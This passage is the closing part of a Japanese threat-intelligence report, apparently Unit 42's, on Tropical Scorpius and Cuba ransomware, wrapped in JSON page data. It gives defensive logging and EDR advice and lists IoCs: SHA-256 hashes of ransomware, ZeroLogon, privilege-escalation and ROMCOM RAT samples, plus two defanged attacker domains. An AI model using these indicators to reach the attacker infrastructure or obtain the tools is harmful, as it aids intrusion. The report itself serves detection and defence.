Scorpius\u306f\u4eca\u73fe\u5728\u3082\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u8105\u5a01\u3067\u3059\u3002\u4eca\u56de\u306e\u540c\u30b0\u30eb\u30fc\u30d7\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304b\u3089\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u306e\u306f\u3001\u300c\u3055\u307e\u3056\u307e\u306a\u30c4\u30fc\u30eb\u3092\u3046\u307e\u304f\u7d44\u307f\u5408\u308f\u305b\u3066\u4f4e\u30ec\u30d9\u30eb\u306eWindows\u5185\u90e8\u6a5f\u69cb\u3092\u4e2d\u5fc3\u306b\u7523\u696d\u30b9\u30d1\u30a4\u306e\u624b\u6cd5\u3067\u9632\u5fa1\u56de\u907f\u30fb\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u3092\u884c\u3048\u3070\u4fb5\u5165\u306b\u304d\u308f\u3081\u3066\u6709\u52b9\u300d\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2\u6280\u8853\u3092\u591a\u6570\u3046\u307e\u3044\u3050\u3042\u3044\u306b\u7d44\u307f\u5408\u308f\u305b\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u72b6\u6cc1\u3067\u3001\u9632\u885b\u5074\u306f\u3080\u305a\u304b\u3057\u3044\u5bfe\u5fdc\u3092\u8feb\u3089\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u5bfe\u7b56\u3068\u3057\u3066Unit 42\u306f\u3001Sysmon\u3084Windows\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30ed\u30b0\u3001PowerShell\u30ed\u30b0\u306a\u3069\u306e\u9ad8\u5ea6\u306a\u30ed\u30b0\u6a5f\u80fd\u3092\u6709\u52b9\u306b\u3057\u3001\u305d\u308c\u3089\u3092\u9069\u5207\u306b\u8a2d\u5b9a\u3057\u3066\u304a\u304f\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002\u306a\u3093\u3089\u304b\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u30a4\u30d9\u30f3\u30c8\u7ba1\u7406\u30c4\u30fc\u30eb(SIEM)\u306b\u30ed\u30b0\u3092\u8ee2\u9001\u3057\u3001\u305d\u3053\u306b\u30af\u30a8\u30ea\u3092\u304b\u3051\u3066\u691c\u51fa\u3067\u304d\u308b\u6a5f\u4f1a\u3092\u8a2d\u3051\u3066\u304a\u304f\u306e\u304c\u7406\u60f3\u7684\u3067\u3059\u3002\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30b7\u30b9\u30c6\u30e0\u306e\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u6700\u65b0\u306b\u4fdd\u3061\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u6280\u8853\u306b\u95a2\u9023\u3059\u308b\u653b\u6483\u5bfe\u8c61\u9818\u57df\u3092\u7e2e\u5c0f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u307e\u305f\u3001XDR\/EDR\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u5c0e\u5165\u3057\u3066\u30a4\u30f3\u30e1\u30e2\u30ea\u691c\u67fb\u3092\u5b9f\u65bd\u3057\u3001\u30d7\u30ed\u30bb\u30b9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u6280\u8853\u3092\u691c\u51fa\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u306e\u9632\u5fa1\u56de\u907f\u3084\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u7528\u306e\u30b5\u30fc\u30d3\u30b9\u30a2\u30ab\u30a6\u30f3\u30c8\u3001\u30c9\u30e1\u30a4\u30f3\u7ba1\u7406\u8005\u306b\u95a2\u9023\u3059\u308b\u30e6\u30fc\u30b6\u30fc\u306e\u632f\u308b\u821e\u3044\u306b\u4f55\u3089\u304b\u306e\u30a2\u30ce\u30de\u30ea(\u7570\u5e38)\u306e\u5146\u5019\u304c\u306a\u3044\u304b\u3001\u8105\u5a01\u30cf\u30f3\u30c6\u30a3\u30f3\u30b0\u3092\u5b9f\u65bd\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2><a id=\"post-124395-_7jvxn2ubekfh\"><\/a>IoC<\/h2>\n<p>\u30c9\u30e9\u30a4\u30d0\u30c9\u30ed\u30c3\u30d1\u30fc:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">07905de4b4be02665e280a56678c7de67652aee318487a44055700396d37ecd0<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">af6561ad848aa1ba53c62a323de230b18cfd30d8795d4af36bf1ce6c28e3fd4e<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">24e018c8614c70c940c3b5fa8783cb2f67cb13f08112430a4d10013e0a324eaa<\/span><\/p>\n<p>ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">ab5a3bbad1c4298bc287d0ac8c27790d68608393822da2365556ba99d52c5dfb<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">6866e82d0f6f6d8cf5a43d02ad523f377bb0b374d644d2f536ec7ec18fdaf576<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">3febf726ffb4f4a4186571d05359d2851e52d5612c5818b2b167160d367f722c<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">36bc32becf287402bf0e9c918de22d886a74c501a33aa08dcb9be2f222fa6e24<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">1450f7c85bfec4f5ba97bcec4249ae234158a0bf9a63310e3801a00d30d9abcc<\/span><\/p>\n<p>Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">0a3517d8d382a0a45334009f71e48114d395a22483b01f171f2c3d4a9cfdbfbf<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">0eff3e8fd31f553c45ab82cc5d88d0105626d0597afa5897e78ee5a7e34f71b3<\/span><\/p>\n<p>\u7279\u6a29\u6607\u683c\u30c4\u30fc\u30eb:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">a4665231bad14a2ac9f2e20a6385e1477c299d97768048cb3e9df6b45ae54eb8<\/span><\/p>\n<p>KerberCache\u30cf\u30c3\u30af\u30c4\u30fc\u30eb:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">cfe7b462a8224b2fbf2b246f05973662bdabc2c4e8f4728c9a1b977fac010c15<\/span><\/p>\n<p>ROMCOM RAT:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">B5978cf7d0c275d09bedf09f07667e139ad7fed8f9e47742e08c914c5cf44a53<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">324ccd4bf70a66cc14b1c3746162b908a688b2b124ad9db029e5bd42197cfe99<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\"><br \/>\n<\/span>\u30a4\u30f3\u30d5\u30e9:<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">CombinedResidency[.]org<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">optasko[.]com<\/span><\/p>\n<h2><a id=\"post-124395-_lpukny55pp6o\"><\/a>\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\n<p><a href=\"https:\/\/thedfirreport.com\/2021\/11\/01\/from-zero-to-domain-admin\/\">From Zero to Domain Admin<\/a><br \/>\n<a href=\"https:\/\/thedfirreport.com\/2022\/02\/21\/qbot-and-zerologon-lead-to-full-domain-compromise\/\">Qbot and Zerologon Lead to Full Domain Compromise<\/a><br \/>\n<a href=\"https:\/\/googleprojectzero.github.io\/0days-in-the-wild\/\/0day-RCAs\/2022\/CVE-2022-24521.html\">CVE-2022-24521: Windows Common Log File System (CLFS) Logical-Error Vulnerability <\/a><br \/>\n<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/industrial-spy-data-extortion-market-gets-into-the-ransomware-game\/\">Industrial Spy data extortion market gets into the ransomware game <\/a><br \/>\n<a href=\"https:\/\/www.mandiant.com\/resources\/unc2596-cuba-ransomware\">(Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware<\/a><\/p>\n<p><em>2022-08-12 17:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-08-10 09:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-08-18 11:30 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-11-08 08:00 PST \u306e\u5185\u5bb9\u3092\u53cd\u6620\u3002\u8aa4\u3063\u3066\u8a18\u8f09\u3055\u308c\u3066\u3044\u305fROMCOM RAT\u306eIoC\u30921\u3064\u524a\u9664\u3057\u307e\u3057\u305f\u3002\u00a0<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 Unit 42\u306f2022\u5e745\u6708\u521d\u65ec\u304b\u3089\u3081\u305a\u3089\u3057\u3044\u30c4\u30fc\u30eb\u3068\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u3063\u3066Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u5c55\u958b\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3092\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u79c1\u305f\u3061\u306f\u3001\u3053\u3061\u3089\u306e\u547d\u540d\u898f\u5247\u306b\u3057\u305f\u304c\u3044\u3001\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3092Tropical Sc<\/p>\n","protected":false},"author":343,"featured_media":134360,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4322,3057,4431],"tags":[5529,5427,5053,5361,5531,5532],"product_categories":[4441,4346,4442,4444,4446,4448,4465],"coauthors":[3562,3210,2370,2575],"class_list":["post-124395","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-actor-groups","category-ransomware-ja","category-threat-actor-groups-ja","tag-cuba-ransomware-ja","tag-investigation-and-response-ja","tag-romcom-rat-ja","tag-threat-intelligence-ja","tag-tropical-scorpius-ja","tag-unc2596","product_categories-advanced-dns-security-ja","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja","product_categories-cloud-delivered-security-services-ja","product_categories-cortex-xdr-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"<!-- 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href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/cuba-ransomware-tropical-scorpius\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306b\u65b0\u305f\u306a\u30cb\u30e5\u30fc\u30b9: Tropical Scorpius\u304b\u3089\u306e\u6328\u62f6\u72b6\" \/>\n<meta property=\"og:description\" content=\"\u8105\u5a01\u30a2\u30af\u30bf\u30fcTropical Scorpius\u306f\u3001\u65b0\u6a5f\u8ef8\u306e\u30c4\u30fc\u30eb\u3084\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u3063\u3066Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u5c55\u958b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3046\u3057\u305f\u30c4\u30fc\u30eb\u306e\u3072\u3068\u3064\u304c\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3001ROMCOM RAT\u3067\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/cuba-ransomware-tropical-scorpius\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-12T08:57:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-11-18T02:32:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/02_Ransomware_Category_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Anthony Galiette, Daniel Bunce, Doel Santos, Shawn Westfall\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306b\u65b0\u305f\u306a\u30cb\u30e5\u30fc\u30b9: Tropical Scorpius\u304b\u3089\u306e\u6328\u62f6\u72b6","description":"\u8105\u5a01\u30a2\u30af\u30bf\u30fcTropical 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